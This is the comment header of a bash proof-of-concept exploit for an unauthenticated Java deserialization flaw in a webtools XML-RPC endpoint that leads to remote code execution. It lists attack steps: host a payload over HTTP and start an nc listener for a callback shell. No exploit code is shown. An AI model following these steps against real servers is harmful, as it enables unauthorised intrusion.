# Description: This CVE was discovered by Alvaro Muñoz, but I have created this POC to automate the process and the necessary requests to successfully exploit it and get RCE.
#!/usr/bin/env bash
# Because the 2 xmlrpc related requets in webtools (xmlrpc and ping) are not using authentication they are vulnerable to unsafe deserialization.
# This issue was reported to the security team by Alvaro Munoz pwntester@github.com from the GitHub Security Lab team.
#
# This vulnerability exists due to Java serialization issues when processing requests sent to /webtools/control/xmlrpc.
# A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation would result in arbitrary code execution.
#
# Steps to exploit:
#
# Step 1: Host HTTP Service with python3 (sudo python3 -m http.server 80)
# Step 2: Start nc listener (Recommended 8001).
# Step 3: Run the exploit.
